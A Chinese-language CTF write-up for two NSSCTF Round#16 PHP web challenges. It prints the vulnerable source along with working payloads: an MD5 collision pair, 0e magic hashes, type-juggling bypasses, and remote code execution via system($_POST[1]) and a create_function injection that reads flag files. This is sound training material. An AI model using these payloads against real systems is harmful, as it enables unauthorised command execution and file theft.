【Web】NSSCTF Round#16 Basic个人wp(全)

出题友好,适合手生复健。

目录

①RCE但是没有完全RCE

②了解过PHP特性吗


①RCE但是没有完全RCE

上来就是一段md5八股

(string)就是不让用数组了,然后强比较需要md5碰撞

?md5_1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&md5_2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

之后是要md5前后都是0e

post:md5_3=0e215962017

成功过掉,访问3z_RC3.php

这里可能有师傅会想用hex2bin,但编码后会有f和a两个字母不能用,限制太大,反而弄巧成拙。

所以采用下面这种解法:

/3z_RC3.php?cmd=system($_POST[1]);

post:shell=urldecode&1=tac /f*

这里妙就妙在让shell形同虚设,让cmd自成一个包含函数和参数的完整命令执行。

再要绕waf很自然就想到用$_POST[1]来转接。

②了解过PHP特性吗

乐,开屏一堆PHP特性

这里可能比较难测,所以建议自己本地搭一下,稍微修改下代码,让绕过的进度可视化。

<?php
error_reporting(0);
highlight_file(__FILE__);

$num = $_GET['num'];
if (preg_match("/[0-9]/", $num)) {
    die("no!!");
}
if (intval($num)) {
    echo 1;
}
if (isset($_POST['ctype']) && isset($_POST['is_num'])) {
    $ctype = strrev($_POST['ctype']);
    $is_num = strrev($_POST['is_num']);
    if (ctype_alpha($ctype) && is_numeric($is_num) && md5($ctype) == md5($is_num)) {
        echo 2;
    }
}
$_114 = $_GET['114'];
$_514 = $_POST['514'];
if (isset($_114) && intval($_114) > 114514 && strlen($_114) <= 3) {
    if (!is_numeric($_514) && $_514 > 9999999) {
        echo 3;
    }
}
$arr4y = $_POST['arr4y'];
if (is_array($arr4y)) {
    for ($i = 0; $i < count($arr4y); $i++) {
        if ($arr4y[$i] === "NSS") {
            die("no!");
        }
        $arr4y[$i] = intval($arr4y[$i]);
    }
    if (array_search("NSS", $arr4y) === 0) {
        echo 4;
    }
}

第一个是数组绕过preg_match,不解释。

第二个是0e绕过弱比较,找两个md5后为0e的原字符串,因为要求ctype是字母,is_num是数字(当然包括科学计数法)

自然可以找到这两个,记得要rev一下。

QNKCDZO->OZDCKNQ

0e215962017->710269512e0

第三个是科学计数法+含数字字母字符串弱比较

第四个传入一个数组,NSS前加个空格可绕过"===",且让array_search可以匹配到NSS(可本地试一下)

<?php

$arr=array(1 =>' NSS'); //注意NSS前有空格
$key=array_search('NSS',$arr);
if ($key=1){
    echo 'success';
}
else echo 'no!';

payload:

?num[]=1&114=9e9

post:514=99999999a&ctype=OZDCKNQ&is_num=710269512e0&arr4y[]= NSS

访问Rc3_function.php

一眼create_function注入,贴出文章不多解释

create_function注入

payload:

shell=&nss=1;}system('tac /f*');/*
相关推荐
Clockwiseee11 小时前
php伪协议
windows·安全·web安全·网络安全
Lspecialnx_16 小时前
文件解析漏洞中间件(iis和Apache)
网络安全·中间件
王ASC16 小时前
SpringMVC的URL组成,以及URI中对/斜杠的处理,解决IllegalStateException: Ambiguous mapping
java·mvc·springboot·web
学习溢出17 小时前
【网络安全】逆向工程 练习示例
网络·安全·网络安全·渗透测试·逆向工程
孤独的履行者20 小时前
入门靶机:DC-1的渗透测试
数据库·python·网络安全
Blankspace学21 小时前
Wireshark软件下载安装及基础
网络·学习·测试工具·网络安全·wireshark
CVE-柠檬i1 天前
Yakit靶场-高级前端加解密与验签实战-全关卡通关教程
网络安全
轨迹H2 天前
kali设置中文输入法
linux·网络安全·渗透测试·kali
cr.sheeper2 天前
Vulnhub靶场Apache解析漏洞
网络安全·apache